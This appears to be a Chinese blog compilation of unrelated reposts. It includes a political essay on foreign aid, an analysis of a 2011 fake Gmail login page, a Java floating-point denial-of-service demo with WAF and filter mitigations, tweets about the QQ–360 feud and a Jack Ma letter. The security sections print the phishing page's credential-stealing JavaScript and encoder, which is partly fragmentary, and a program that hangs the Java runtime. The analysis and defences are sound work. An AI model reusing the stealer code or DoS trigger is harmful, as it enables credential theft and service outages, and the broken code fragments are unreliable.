——————–正文华丽分割线————————————————
成吨的人民币堆砌起来“友谊”，在世界潮流面前不堪一击；中国大陆在国际上面临一个空前的说“不”时代，不是中国对世界说“不”，而是世界对中国说“不”。

当中国的GDP已经超过日本成为世界第二大经济体时，国内人均收入却排名世界一百多位。但就是在这种情况下，中共政府却与49个国家签署了免债议定书，免除到期债务374笔，并将继续免除13个国家对华到期无息贷款债务。官方还透露，2010年中国累计向120多个国家提供了经济技术援助，并向30 多个国际和区域组织提供了捐款。而2008年，中国免除46个国家400多亿债务；2009年，中国免除32个国家150笔债务；……

甘肃舟曲遭灾时，中央电视台在同一天新闻联播中播出了两则捐款新闻，一则是“为支持俄罗斯抗灾，我国将捐赠100万美元现金和价值2,000万人民币的物资”，另一则是“甘肃舟曲缺乏饮用水和速食面，政府号召大家积极捐款”。相比之下，世界最富的美国对俄罗斯火灾捐款才5万美元，但对中国大陆持续多发的水灾捐了20万美元；美国对中俄的捐款总额，不到中国捐给俄罗斯的四分之一。对当权者一面在国内动员民众捐款、甚至强迫公务员捐款，一面动用纳税人的血汗钱在国际上摆阔显富的行为，国内民众反响非常强烈，被斥为“国际主义精神病”。

但这种“国际主义精神病”由来已久，从毛泽东时代就蔚然成风了。在文革之前，一个中小学生一学年的书费、学杂费只有3元，最发达的地区也不超过4 元，另外每人每年补贴6元午餐伙食费；读完初中共计9年，每人合计需要90元。每年6元午餐伙食费补贴，折合每天3分钱，当时两分钱可购买粗粮3两，一分钱可买时蔬0.5斤，足够中午饱餐一顿；但这在大多数贫困地区，6元已相当于农民大半年的人均收入。然而，中国当时每年援助援助阿尔巴尼亚的金钱，却达到 90亿人民币！正好可以资助一亿农村儿童读完初中。可是根据中共政府1980年的报告说，文革前中国大陆有一亿学生因为没钱而失学。

不过援助阿尔巴尼亚的金钱还是小巫见大巫。那时候，中国援助越南200亿人民币，援助朝鲜200亿人民币，援助非洲国家100多亿人民币。如果按照中国当时的人均最低生活费4元计算，这些钱可以让全中国百姓白吃白喝不干活，就能养活一年。

为此，毛泽东换来了亚非拉一些领导人的肉麻赞颂；什么“毛泽东是世界性的领导人，是鼓舞世界各地热爱自由和人类尊严的革命者”、“毛泽东是第三世界的榜样”，“永远是各国人民的抵抗和斗争的象征”等等阿谀之声不绝于耳；毛泽东也真以为自己是全世界的“大救星”。为了马屁，就肆意挥撒中国百姓的血汗，将中国经济推向崩溃边缘，民不聊生。

如今，这种“精神病”有增无减。今年两会中，中央政府指出：中国实现全民免费医疗每年需花费1千6百亿元，目前中国不具备这个经济实力！今年西南五省大旱，6000万人受灾，损失200多亿，中央拨付旱灾救灾资金1.6亿元。为了赢得金正日的高兴，中国承诺援助朝鲜700亿；2009年，中国累计对朝鲜援助达8千亿元。

对朝鲜就援助8千亿，却没有1,600亿解决全国百姓的免费医疗。看看满街的下岗工人，看看贫苦的失学儿童，大陆当权者就是这样奴役国人，笼络“友邦”！

然而，这种用金钱维系的“友邦”，没有一个不和中国大陆翻脸。

最早翻脸的是苏联。大陆执政党在建政前，跟在前苏联的后面亦步亦趋的战战兢兢；建政后更是把苏联尊为“老大哥”，自己以小弟自居，但赫鲁晓夫上台后，中苏之间的友好关系出现了破裂，后来更是因为一场著名的珍宝岛战役，彻底翻脸。第二个翻脸的“友邦”，是越南。相比于把苏联称老大哥自称小弟的做法，越南开始是对中国称大哥，大陆则称越南为“同志加兄弟”。大陆把越南比作“同志加兄弟”的时候，越南还处在南北分裂的状态，类似现在的南北韩；北越想要统一南越，最后引入了美国的干涉，大陆出兵越南虽然不如出兵朝鲜那么高调坚决，但私底下的支援却也“很无私”。北越当时的领导人胡志明在中国受到了极高的评价，被称为“胡伯伯”。但随着北越统一了南越，“同志加兄弟”露出了青面獠牙，对中国反噬一口，1979年的时候，中国还被迫进行了“自卫反击战”，大国被迫对小国进行“自卫反击”，成为一个国际先例。第三个翻脸的“友邦”是最著名的日本。中日友好是依托于中美友好的次生友好，如果不是和美国改善关系于前，中日之间无所谓关系的正常化。但中日之间一经友好，很快就超过了中美友好，成为了新一个的中国超级友好国家。以“相逢一笑泯恩仇”的“新兄弟”出现的日本，给大陆带来了极大的心理安慰；“一衣带水”成为日本友邦的专用名词。但是进入2000年之后，“一衣带水”的“水”出现了污染，先是中日两国在教科书问题上互相攻击，接着在参拜靖国神社的问题上再起波澜，最终导致了钓鱼岛问题的针锋相对。虽然双方还没有兵戎相见，但双方却都在咬牙切齿。

如今的中国大陆“友邦”，似乎只有用“鲜血凝固”起来的情谊而“弥足珍贵”的朝鲜了。不过，这“弥足珍贵”的友邦，却象一个市井泼皮，除了给中国惹祸，就是对中国耍赖。

有人说中国大陆的当权者真傻，用钱买气受。其实，统治者从来都不傻。无论是毛时代中国外援高达国家财政总支出的6.92%，名列世界榜首，还是最近中国在朝鲜、非洲大搞无偿贷款、巨额投资等，当局之所以这样处心积虑的做，都是为了在国际社会争得一席之地，以巩固其统治，以牺牲本国民众利益为代价，为其在联合国舞台上争取一点点话语权。中国权贵阶层需要在国际上豢养一帮小喽啰，为其生存危机壮胆吆喝；因此，官方的外援有着内在需求的必然性。

目前，大陆当权者不顾国际社会的反对，援助津巴布韦、苏丹、朝鲜等邪恶国家，正如世界银行所谴责的那样，中国的援助抵消了国际社会“以经贸促政改、以经援换人权”的努力。当权者以“不干涉内政”为藉口，在政治上充当这些腐败政权的代言人和所谓协调者，并以此为筹码，与民主社会讨价还价。

尽管这种金钱外交有些效果，比如联合国至今还没能通过任何谴责中国大陆人权状态的议案，但中国大陆纠集独裁国家组成灰色阵营，与文明世界分庭抗礼的做法，已经遭到国际社会的谴责，效果也很快就显现了。2010年上半年，中国GDP同比增长11.1%，应该是全球最高的；不过，同期中国大陆的“敌人” 增长得更快，有人在谈论对中国的“C型”包围圈，还有人在谈论亚洲版的北约，美国乔治·华盛顿号航母，像坏孩子弹弓上弹出的石子，今天弹到南海，明天弹到黄海，后天还会弹到东海，激起周围国家千重浪……。

中国历史上对外关系的三种模式：天朝时期的“朝贡模式”，毛时代的“革命模式”，和邓小平时代开创至现在集大成的“互惠模式”。按照前两个模式，中国少不了敌人，凡是“拒绝朝贡或拒绝认同中国革命的国家”都“可能是潜在的敌人”。互惠模式就不同，“它既是平等的，也是普适的”：说它是平等的，因为它的基础是全球化时代的平等自由贸易，不是殖民主义时代的殖民与被殖民的不平等关系；说它是普适的，因为它不具有任何政治与意识形态意义上的排他性，也不预设任何非经济的先决条件。这种现实主义模式把国与国之间的外交关系看成是高能加速器，发生外交关系的国家就像两束高速相遇的粒子，通过“热烈拥抱”而增加双方的能量。正是因为这种模式的巨大吸引力，中国才能史无前例地一次同时拥抱这样多的非洲国家。当然也热烈拥抱了其它几乎所有国家，包括美国和俄国。

可是，现在某些国家突然在中国的怀抱里动起了刀子。为什么？因为国家和个人一样，决定其决策的有两个基本模式，一是“后果模式”，第二种是“身份模式”。“后果模式”，类似经济人模式，就是利益最大化模式，当人们按后果模式做决定前，要掂量可供选择的各种方法和途径，评估它们的价值，然后选择能带来最大利益的方法。“身份模式”则不同，为了确认自己的身份，不计后果。210年3 月以后至今，中国大陆为了袒护“血盟兄弟”朝鲜，将自己逼离了“后果模式”，进入“身份模式”轨道。在此事件上，中国大陆的作为，已经不考虑国家利益，而考虑的是国家身份。30年来国家身份的战略模糊，被朝鲜牌的显影液显影了。中国大陆在这次事件中，彰显了自己的身份，让人进一步看清了真面目，所以周边国家突然在中国的怀抱里动起了刀子。

所以，世界上的“反华势力”突然多了，几乎到处都是。

对此，其实大陆高层和中国社会底层都看得非常清楚了。然而时至今日，仍然有部份中国人似乎出自“本能”，拒绝接受这个社会现实，充当睁眼瞎。近一个月来，中日钓鱼岛事件沸沸扬扬，国际社会没有一个国家表示支持中国。凤凰名博杨恒均先生说，“如果就事论事，这次钓鱼岛事件主要责任在日本，有争议的岛屿，已然被你霸占，却还要进一步宣示 ‘主权’，逮捕我船长，实在欺人太甚。可是，这样一起是非分明的国际事件，当中国需要国际上‘人心’支持的时候，你看到200多个国家，几十亿人，有几个站出来为中国说过一句话？这种情况，中国学者，以及中共当局不可能没有注意到，这是很罕见的现象。想一想，怎么会走到今天的？奥运会插遍各大洲的五星红旗在哪里？中国崛起的豪言壮语换来了什么？成吨成顿的人民币堆砌起来大外宣，得到了这样的回报？”

他说，十几年前，当和我同龄的那几个人还没有拼凑出《中国可以说“不”》的时候，我就在共和国最前沿的阵地上对西方列强说“不”。这些年下来猛然发现，原来我们除了对普世价值，对先进的价值理念与政治制度坚持“绝不”之外，我们的一切都西化了：你还能找到一块不是按照西方发展模式建设起来的中国土地？连电视里吸引了亿万中国青年人的电视节目，几乎都是从西方五六年前的老节目改头换面全盘引进的……。世界已经变成地球村，这一切引进本来无可厚非，可恰恰是我们对支配与指引这些物质的价值观与政治制度说了“绝不”，结果让这些东西在中国都一个一个地走样了，弄得面目全非，我们认不出，世界也认不出—— 这个时候，还有极少数愚弄人的掌权者在那里有气无力地主张说“不”，但谁都听得懂，他们只是不想放弃手里的绝对权力……。

如今，“海外反华势力”这个概念，虽已深深的印在了中国人的心中，但是“海外反华势力”到底是什么？他们为什么要“反华”？却没有几个中国人能够说清楚。它就象一段梦魇，被既得利益集团制造出来，几十年来牢牢的植入中国人的头脑中，让人恐惧，让人仇恨，但是又没有人真正的知道为什么要恐惧，为什么要仇恨。而教科书和报刊资料中，也从来没有、也不可能给它一个完整的、清楚的解释。其实，所谓“反华势力”的概念，中华民族五千年的文明历史中从来没有过，而是既得利益集团当权之后刻意制造出来的，并故意混淆概念，把全世界对“共产主义”这个幽灵的反对，故意说成是对中国的反对，挑动民族情绪。

为了让中国人盲目维护既得利益集团，而不倾向于自由社会，既得利益集团就制造一个“反华势力”的名词，然后几十年来不断的通过歪理和谎言强化这个概念。其目的就是欺骗人民，在人们心目中制造一种中华民族和国际社会的对立，让中国人从内心自觉的不接受其它国家的自由理念，不接受西方社会对中国人权的关注，不认同全世界对既得利益集团暴政的谴责，从而使政权得以苟延残喘。

然而，当中国大陆民生凋敝、人权不保，“海外反华势力”的猖獗，就再也得不到老百姓的一致抵抗。正如大陆高调“保钓”中有老百姓悲愤地说：“现在我们是生活无着落，土地都被他们抢夺光了，可以说是没有立锥之地了，作为一个公民，你没有家了，哪来的国？我们这些被压迫的、被奴役的农民，我们的国家在哪里呢？！”美国军舰在南海军演的时候，网上居然出现大量“何时到中南海军演”的呼声。

事实说明，成吨成顿的人民币堆砌起来的“友谊”，在世界潮流面前不堪一击；中国大陆在国际上面临一个空前的说“不”时代，不是中国对世界说“不”，而是世界对中国说“不”。而互联网的发达，使得国内民众不断觉醒，再多的“五毛”也无法改变这个现实。现在执政党和政府如不再加速推进以民主、人权为核心的政治体制改革，恐怕真会应验温家宝的话，“只能是死路一条”了。

以下为转发内容，能翻墙的请看原文出处：原文

今 (2011) 年早些时候, 包括作者在内的大陸部分用户开始遭遇到伪造的 Gmail 登录页面。 表面上, 这种页面与普通的 Google 帐户登录页面无异, 但它 (们) 含有被插入的代码, 用於巧妙地收集用户的登录信息。

伪造的登录页面在用户以非加密的 HTTP 协议访问 mail.google.com 时出现, 如图所示:

在正常情况下, 已经登录的用户会经历几个环节, 安全地转到 Gmail 中; 即使需要重新输入密码, 页面地址也应以 https:// 开头, 并且登录表单应该明示当前的登录名。 很显然, 伪造的登录页面并不满足这两点。

这种伪造的登录页面有两个特点, 一是发生不频繁, 二是在加载完成一分钟後, 会自动转到真正的 Gmail 中。 虽然作者所了解的范围内只有自己一人遇到过这种现象, 但是根据报导, 截至本 (3) 月上旬, 这种现象仍然存在。

无论如何, 上述因素使得这种盗窃个人隐私的犯罪活动较为隐蔽, 所以用户更应小心防范。

工作原理:
通过与真实的登录页面进行比较, 作者在一份於一月中旬留存的伪造登录页面副本中, 发现了几点差异。 首先是函数 gaia_onLoginSubmit() 被修改。

function gaia_onLoginSubmit() {
gaia_logoFresh(gaia_onLoginCheck(),gaia_logoUrl());

if (window.gaiacb_onLoginSubmit) {
return gaiacb_onLoginSubmit();
} else {
return true;
}
}

函数的第一行 (未缩进的那行) 是新增的, 其中的三个函数的实现分别如下 (若干辅助函数可顾名思义, 在此省略)。

function gaia_logoUrl() { return '/'; }

由此可以看到, 这个伪造的登录页面的工作方法是: 请求一个不存在的图像 (http://mail.google.com/images/logo_bg.jpg), 并将用户的登录信息通过查询串 (query string) 发送出去。 不过对後面的变量 ga_logo_path 的处理却不知目的为何。

另外, 用户名和密码并非以明文发送, 而是通过函数 gaia_rskQuery() 进行了一个简单的变换。

function gaia_rskQuery(s){
s = encodeURIComponent(s);
var r = Math.random();
var num = (Math.round(r*100))%9+1;
var i = 0;
var out = '';
do{
var ch = s.charCodeAt(i++);
ch = (i%2>0)?(ch-i%num):(ch+i%num);
var l = (ch/10>=10)?3:(ch/|>10>0?2:1);
out += l.toString() + ch;
}while(i<s.length);
out = r.toString().substring(0,num)+out+num;
return out;
}

(基本上, 这个变换首先随机选择一个 n ∈ [1..9] (模的大小), 然後根据字符位置和模的大小, 对原串中字符的字码交错地进行增减, 并在新字码前附上其长度, 最後在整个新串的最後附上 n, 在最前附上对逆变换无用的随机数的前面 n 位 (应该是为了进行校验)。) 当然, 我们也不难写出其反函数, 如下。

return decodeURIComponent(origBody);
}

有些安全软件可防止用户的个人信息通过明文被直接发送出去, 这想必是进行这个变换的原因之一。

防范策略
如果保证每次都手动键入 “https://” 不太现实, 您至少应该启用 Google 帐户的双因子验证功能。 虽然登录过程会变长些, 但由此带来的好处是两重的: 一方面, 即使您的密码丢失, 他人也无法登录您的帐户; 另一方面, 您还可以创建应用程序专用密码, 并进行手动吊销, 这也免除了因为一个环节的失误而导致整个帐户被攻陷的隐患。

当您的帐户被攻陷时, 您所面对的不仅是泄露自身隐私的风险, 您的家人, 亲属, 朋友, 同学, 同事等等, 都可能因此面临更高风险。 保护这些人的责任在您的肩上, 为此, 即使麻烦一些, 我也要建议您, 不要把安全当作儿戏。

Information: http://www.oracle.com/technetwork/topics/security/alert-cve-2010-4476-305811.html

Path: http://www.oracle.com/technetwork/java/javase/fpupdater-tool-readme-305936.html

Demo:

Send a Java Program Into An Infinite Loop
Compile this program and run it; the program will hang (at least it does on a 32-bit system with the latest JRE/JDK):

class runhang {
public static void main(String[] args) {
System.out.println(“Test:”);
double d = Double.parseDouble(“2.2250738585072012e-308″);
System.out.println(“Value: ” + d);
}
}

—————————————————————————————————————-
Send the Java Compiler Into An Infinite Loop
Try to compile this program; the compiler will hang:
class compilehang {
public static void main(String[] args) {
double d = 2.2250738585072012e-308;
System.out.println(“Value: ” + d);
}
}

—————————————华丽的分割线——————————————————-

其实在有些团队，可能因为某些限制造成无法顺利打上官方的补丁，那有没有其他的低成本方案呢？这是我这几天一直在考虑的一个问题，结果Jim@OWASP.com昨天在twitter说，感兴趣的可以发Email给他一起讨论，于是给他发了个Email，结果迅速收到了Jim的feedback，在此对Jim在北美的半夜给我feedback表示无比的感谢！Jim在他的blog里讨论了这个问题，不幸的是Jim用的是blogspot.com发布blog，熟悉GFW的同学都知道，这个域名被GFW光荣的认证了，为了能让国内的同学们都了解这个solutions，所以翻墙过去把核心内容放到这里，感兴趣的同学请自取！

—————————————–再次华丽的分割———————————————————–

Here are a few approaches to tame the beast!

1) Generation 1 WAF rule (reject one number only)

This mod security rule only blocks a small portion of the DOSable range. The mod security team is working to improve this now (no disrespect meant at all!)

SecRule ARGS|REQUEST_HEADERS “@contains 2.2250738585072012e-308″ “phase:2,block,msg:’Java Floating Point DoS Attack’,tag:’CVE-2010-4476′”

I’ll update this post as soon as we get a deeper fix from our favorite FOSS WAFers.

Reference: http://mobile.twitter.com/modsecurity/status/35734652652093441

2) Generation 2 blacklist rejection J2EE filter (reject entire vulnerable range)

Team Adobe came up with this. It’s actually quite accurate in *rejecting input* in the DOSable JVM numeric range:

public static boolean containsMagicDoSNumber(String s) {
return s.replace(“.”, “”).contains(“2225073858507201″);
}

Reference: http://blogs.adobe.com/asset/2011/02/year-of-the-snail.html

3) Generation 3 IEEE data rounding J2EE validation POC (FTW from Brian Chess)

This following code is from Brian Chess at HP/Fortify. This is an impressive approach to this problem. I’m in the process of integrating this fix into ESAPI. This approach detects the evil range before trying to call parseDouble and returns the IEEE official value for any double in this most evil range ( 2.2250738585072014E-308 ).

private static BigDecimal bigBad;
private static BigDecimal smallBad;

static {
BigDecimal one = new BigDecimal(1);
BigDecimal two = new BigDecimal(2);
BigDecimal tiny = one.divide(two.pow(1022));
// 2^(-1022) ?? 2^(-1076)
bigBad = tiny.subtract(one.divide(two.pow(1076)));
//2^(-1022) ?? 2^(-1075)
smallBad = tiny.subtract(one.divide(two.pow(1075)));
}

if (arg == null) return false; // arg is null? return.
String noDot = arg.replace(“.”, “”);
if (!noDot.contains(“2225073858507201″)) return false;
// magic value not present? return.
BigDecimal bd;
try {
bd = new BigDecimal(arg);
} catch (NumberFormatException e) {
return false; // can’t parse? return.
}
if (bd.compareTo(smallBad) ！= 0) return false; // smaller than the smallest bad value or larger than the largest bad value? Return

// if you get here you know you’re looking at a bad value. The final
value for any double in this range is supposed to be
2.2250738585072014E-308

Reference: via email direct from Brian Chess and http://blog.fortify.com/blog/2011/02/08/Double-Trouble

尤其是第三个方案，太有技术含量了！NB！

附上Jim的blog原文地址，会翻墙的请看原文：http://manicode.blogspot.com/2011/02/taming-beast-java-double-dos.html

网友的幽默和智慧此次也得到了充分发挥，为防止该精华随时间消失，现备份存档：

@tatamama: 蒙牛做了个艰难的决定，如果监测到用户胃里有伊利牛奶，将自动释放三聚氰胺。
@Vela1680: 微软公司发布声明，我们做出了一个艰难的决定，XBOX360如果发现在奇瑞QQ中使用，将会自动爆炸。
@reformism: 亲爱的杜蕾斯用户：当您看到这封信的时候 ，我们刚刚作出了一个非常艰难的决定，在你停止使用杰士邦、冈本、双碟、第六感、真汉子、计划生育粗制滥造套等用品之前，我们决定在售卖给你的产品上都扎一个洞。
@Dianso: 此事已确认，属实 RT @ZFreet: 【最新消息】据有关人士称，今晚360多次试图攻击腾讯的服务器，但由于腾讯事先已全面部署了360安全卫士，而幸免于难。
@wxsun: 【这两狗日的】涛哥： 咦，我的扣扣怎么掉线啦～马化腾你个骗子，说好了送给我的是永久免费靓号的嘛。平哥：还好我刚才掉线了，不然媛媛发现咱俩视频咋办啊，不过她去洗澡澡去了，小宋你快上线啊，江电脑里装了360他看不见我们在线的！..
@bonnae: 今天是中期选举的日子：美国人在两个政党之间选一个政党，中国人在两个流氓软件中选一个流氓软件。
@huyong: 360反击腾讯声明 杀气腾腾：360安全系列软件覆盖了中国90%以上的网民，腾讯强迫用户卸载，将严重威胁网民安全，和整个中国互联网的安危。我们已向监管部门汇报，国家将对腾讯危害网民安全的行为进行紧急干预 /腾讯裹挟6亿用户，360裹挟整个中国互联网..
@LiuYaping 反抗QQ霸权，需要你的力量！——360致网民的紧急求助信     http://bbs.360.cn/3237987/39953066.html?recommend=1       360公司感到无比的愤怒，同时也感到无助与无奈。【  示弱了。。。。】
@popomore: 腾讯顺便做点好事吧，请用户停止使用ie6，否则无法使用qq
@amoiist: 腾讯是大流氓，360是小流氓，我谁也不帮。就像一则脑筋急转弯里说的，城管和贪官同时落水，手里只有一块砖头该怎么做，最佳的答案是谁救他们就用砖头砸谁。
@pufei: QQ、360扯皮导致大量用户转投Gtalk的故事，再次印证了傻逼相争，牛逼得利的道理。
@goldengrape: 推上有这么多的程序员和Geek们，虽然大家平时少用QQ和360，但是在看到他们打起来的时候，我们怎么能袖手旁观，不往上递几块板砖呢？
@ShooterPlayer 360发布一封致网民的紧急求助信 – 希望用户停用腾讯QQ三天，换用MSN或飞信等其他聊天工具代替。 http://sinaurl.cn/hChJUO
@reformism: 苏菲做了一个艰难的决定，如果检测到用户有使用安而乐，将自动侧漏。
@imusiq: 法律.txt做了一个艰难的决定。当权力.exe出现的时候，我们会把自己的属性设置为隐藏。
@bfishadow: 腾讯：我们做出了一个艰难的决定，决定在新浪微博开博。
@mranti 恩，再登日本外相就发表腾讯式决定：自己辞职。RT @flnikita: 日外相警告小梅：不要再次登岛
@Fenng 人家 Keso 都帮发改委给出 360 和 QQ 吵架的解决方案了(马化腾和周鸿祎对调)，发改委，请问你们为啥还不宣布？
@Enray_tt: 诺基亚做了个艰难的决定，如果探测到10米范围内有iPhone，将启动自爆程序，毁灭10米内一切物体。 阿迪做了个决定，检测到用户身上有耐克，衣服鞋自动变透视装 康师傅做了个艰难的决定，如果检测到用户使用过统一，方便面里..
@Symphone: 其实，安装了360的同学只要轻轻的把相关文件重命名为＂250＂，QQ就会认为是自家人，就一切正常了！
@happyvag: 东热终于做出了艰难的决定：如果检测到用户电脑存有一本道的AV，电脑里所有片都将变成打码葫芦娃或新闻联播。
@徐湘涛:腾讯已经在疯中凌乱了，面对一只不断叮咬的蚊子，愤怒的一巴掌拍在自己脸上。
@Symphone: 尊敬的中国公民，我们刚刚作出了一个非常艰难的决定，为了有效的抑制通货膨胀，央行要求每位公民烧掉两万人民币现金，物价将重回年前水平。 有钱的烧个钱场，没钱的烧个人场！
@liumiao: 腾讯毕竟不是贵党，还算有点底线。其实现在的做法不算绝，真正绝的是，QQ照常运行，但不停弹出窗口提醒用户删除360。
@Fenng 各位推友，当你看到这条Twitter的时候，我刚刚做出了一个艰难的决定：看书去喽 …
@chuochuo: 世界上最遥远的距离不是你买了苹果四代我买四袋苹果，而是我选择了360你却选择了QQ
@chounvkui: 【如果QQ没有翻用户的裙子。。怎么知道我们穿了360的内裤。。。】
@dongdongbo: 360和QQ谁会最终胜利，取决于双方拥有傻逼用户的数量，以及哪方的用户更傻逼，更给力。
@izaobao: 亲爱的爱枣报用户：当您看到这封信的时候，我们刚刚作出了一个非常艰难的决定，在天朝停止作恶之前，我们决定一如既往地调戏之。我们不打算致歉。噢也。
@duowang 来自腾讯公司官方微博，有网友问：QQ怎么知道我的电脑装了360？解答：就好比一个强盗进入您的家里，劫持了您的家人。这时候360再进来，您说强盗能不知道么？
@jovikew: 从360和tx掐架开始，公司要求上班时间必须安装360安全卫士，以防偷上qq
@kimihuang QQ Vs 360，我的选择是：劝说身边的人卸载360，帮助亲戚的电脑卸载360。然后买入QQ股票！
@izaobao: 后话：QQ与360达成和解协议，且腾讯并购了360，之后推出新的安全软件，名字叫“3Q” ！
@felixding 虽然我不用QQ，更不用360。但360无论表面上做什么，都改变不了它是个垃圾流氓软件的本质。如果要找＂贼喊抓贼＂的现代版解释，就非360莫属。以前对我这话不信的人，看了这场大戏，是不是该洗洗睡了？
@kimihuang 小马哥提出的有360的电脑就停止运行QQ，这个我支持，不过建议QQ给出一个360的替代解决方案，拉上金山什么的一起去喷360！这种时候应该孤立360这个不要脸的老王八蛋！全世界人民团结起来干死360！
@yurii_yu 今天一早发现所有门户的头条几乎都是QQ和360之争，心想这可能是李刚用来转移大家视线的…
@ruanji: 360公开信下有三万个评论，其中27981 楼 fisher35 说：今天,腾讯逼迫我们选择软件,今后,腾讯就能逼迫我们选择国家主席.
@supermonkeyboy: 公马：疼吗  母马：恩  公马：算了  母马：别  ——摘自微型小说《马话疼》

不说对错，也没有对错，双方都是流氓！但是通过这次的事情你看到了吗？中国的电脑用户有隐私吗？NND数据放到我自己的机器上还这样呢，那现在红得发紫的云计算呢？云计算是好事儿，用户不受地域、机器的限制了，自己发布应用也不用自己准备服务器了。我自己现在就在GAE上有4个应用！尽管有2个应用的域名已经光荣的被GFW认证了！但我实实在在的感受到了云计算的魅力！google会不会扫描我的数据呢？会不会用我的数据干坏事儿呢？有这个可能，但根据google以往的信用记录，我认了！比如，为了不让用户的帐号信息被审查，在中国的google“合法”服务中，都没有绑定用户的google帐号。所以我愿意信任它！but，如果GAE不是google提供的，而是一个国内的运营商提供的，先不说其他的，只要你的服务是面向国内的，而且在工信部注册，恭喜你，你已经有了被审查的特权了！当国内最神秘的有关部门向这些运营商提出审查要求时，试问国内有哪个服务运营商有google那种拍桌子走人的勇气？然后结果你知道的，你的 企业/个人 数据就会被有关部门放到办公桌上，然后你就可以找个凉快地方哭去了！再说到运营商自己，看看腾讯和360吧！都不是小公司了吧？看看做的事情，你如何保证你的云计算供应商不是  马化腾二世/周鸿祎二世？

所以，为了  自己/自己的企业   好，也为了对得起自己的   家人/用户，请远离中国的云计算吧！在连言论自由和人身自由都不完全的中国，云计算就是扯蛋！或者是一个天大的笑话！

360推出安全云计算平台了！哈哈哈哈哈哈！

BTW：看到网上有那么多人骂腾讯，我想问一下：有几个人能做到把QQ从自己的机器中彻底卸载的？做不到？那就别瞎嚷嚷，搞的满大街的人都知道你被强奸了！当然腾讯也不是神马好东西，狗日的腾讯！

———————————————–不是很华丽的分割线——————————————-

各位阿里人，

几天前，有朋友问我今生最相信什么，我说：”我相信相信！”。

最近我发现很多阿里人非常郁闷和难过，大批网络报道指责淘宝网调整搜索结果，甚至还惹起了某些卖家来淘宝网门口抗议示威…看到那么多同事很委 屈，甚至流下了眼泪，也发现不少年轻的淘宝人在不断自问：”我们到底做错了什么，为了鼓励大家在淘宝上创业，坚持七年不向会员强制收取开店费和交易费，坚 持扶持发展创业者和中小卖家，七年多的日日夜夜奋斗，结果换回来的是各种各样的指责，我们值得这样吗？我们选择

的路对吗？我们是否应该放弃自己促进新商业文明的使命而回到仅仅是一家普普通通的赚钱公司……”

本来应该早点和大家做一个交流，谈谈我的看法，但最近一系列的问题…呵呵，我觉得阿里人必须有这么一个经历，阿里人需要有时间接受各种各样的挑战，“男人的胸怀是由冤枉撑大的”，我觉得阿里人需要有在纷乱的外部环境中学会用自己的脑袋思考问题和判断问题的能力。选择今天和大家交流是因为快到阿里十一周年庆了，到了我们重温去年这时候提出的：阿里巴巴要促进开放、透明、分享，责任的新商业文明，为全世界一千万家中小企业提供一个生存和发展的平台，为全世界解决一个亿的就业机会，为全球十亿人提供一个消费的平台……的时候。

从提出这么一个伟大的使命和目标起，我就觉得我们从此以后会走上一条艰难的发展之路，我们会碰见各种不同类型的阻力和困难。今天的麻烦还仅仅是个开头，我们会碰上越来越多的挫折…坚持做正确的事，坚持自己的理想和使命是一定要付出巨大代价的，在任何时代都一样。尤其在今天的中国的商业环境里，促进开放，透明，分享，责任的商业文明一定会破坏大批既得利益群体，我们要抗争的不仅仅是这些既得利益群体还有是上世纪的商业习惯。。

前段时间，淘宝人作出基于捍卫消费者用户的利益，同时支持提供优质服务和诚信卖家的搜索调整决策，我认为是正确的！我深以为豪的是我们的同事能 放弃自己今天的利益而去追求创建更加有利于用户可持续健康发展的公平方法！!!但遗憾的是大家的好意被曲解，支持诚信卖家被说成是放弃中小卖家，保护消费者利益的措施被指责成获取自己的商业利益.:( 因为我们毕竟不是生活在真空的世界里， 互联网是一个大世界，淘宝网也是个大社会……我们也同样在电子商务的世界里面对欺诈，假货横行等一切社会现象。今天的社会上出现了很大的消极，浮燥的情绪，很多人怀疑一切，打击一切，否定一切，总把自己对世界的片面认识强加给别人，……还有不少媒体过度的使用”惩恶”的手端，而不是“扶正祛邪”，使得人们不相信还有人会做好事，还会有人会为理想和原则而工作..。。

坚持还是放弃？放弃，从此以后我们就会成为一家平庸的公司，因为利益而活着，我们可能会在一段时间里会很轻松，会很赚钱…而坚持理想，我们也许会每天碰上今天的状况，我 们要和各种势力做斗争，包括巨大的黑色产业链中的恶势力。但坚持也会让我们生存和工作的有意义，坚持也会让我们能在21世纪里成为一家真正对人类社会有贡 献的公司，让我们今天付出的一切努力有独特的回报…

我想阿里人应该，必须也只有选择坚持原则、坚持理想、坚持使命的发展之路！!

对那些相信新商业文明和支持阿里巴巴成为理想主义公司的社会各界朋友们说， 我们的上帝只有一个，就是用户。我们会更加在平时的工作中完善自己的服务和功能，我们会加强倾听客户，我们会坚持以保护消费者权益，维护卖家利益为原则。我们坚信在未来的商业社会里，将没有大企业和小企业的区别，没有外资和内资的区别，没有国企和民企的区别，我们觉得只有诚信不诚信的 区别，只有开放和不开放的区别，只有承担责任和不承担责任的区别…我们将全力支持那些诚信、开放和承担责任的企业。我们为我们自己工作中的不当，不成熟， 不完善而道歉，我们保证将不断的努力，不断的创新…我们不追求最具影响力，我们追求对人类，对社会，对家庭和对自己最有贡献力！

对那些辛苦创业者们，我想说今天是创业最好的时候。一切梦想的成功一定和眼泪和汗水有关，和坚持诚信努力有关！ 商业就不该害怕竞争，害怕竞争就不该做商业。我们害怕的是不透明的竞争，不诚信的竞争，不公平的竞争！怨天尤人的人永远会输给拥抱变化、改变自己的人！

对于我们的阿里人，我想说的是，我们坚持了十一年的理想很不容易，但我们还将坚持91年的理想！ 我们从第一天起就坚持赚钱不是我们的目的，而仅仅是我们的结果。我们这家由80、90后组成的公司，我们必须有别于昨天的企业。我们感恩自己的公司诞生于 这个社会，我们会因为今天的社会环境而成长，我们更应该为这个商业社会的完善而存在！这也是我们每天认真工作的意义所在。阿里人， 我们自己的未来一定是由我们今天乐观积极的态度和努力决定的！

对那些躲在背后的网络黑色产业链和希望我们放弃原则的人们，我想说，我们从来不会因为利益而改变自己，我们更不会因为压力而放弃自己的原则！我们将会面对任何挑战，…我们宁可关掉自己的公司也不会放弃自己的原则！今后我们希望全社会来监督我们的商务政策调整，假如我们的调整政策违背了开放、透明、分享、责任的原则，我们一定会认真倾听而修改。否则我们将会犹如捍卫生命那样捍卫我们的使命！

请那些想通过闹事和传播谎言获益的人注意，你们的举动不仅仅在伤害两万多名优秀努力年轻人的理想，你们也在破坏和打击数千万以网络为生存的小企业以及几亿消费者的利益。阿里人感谢真诚的建议和批评，但是别有用心的意见，无理取闹和片面的东西，我们不会接受，即使你们付诸于游行示威甚至更加过激的手段，试图通过这些手段让我们让步屈服，数亿消费者不会答应的。我们坚信并会积极的参与到社会积极进步的力量中去…

阿里人，为理想而战吧！

此时此刻，非我莫属！

马云

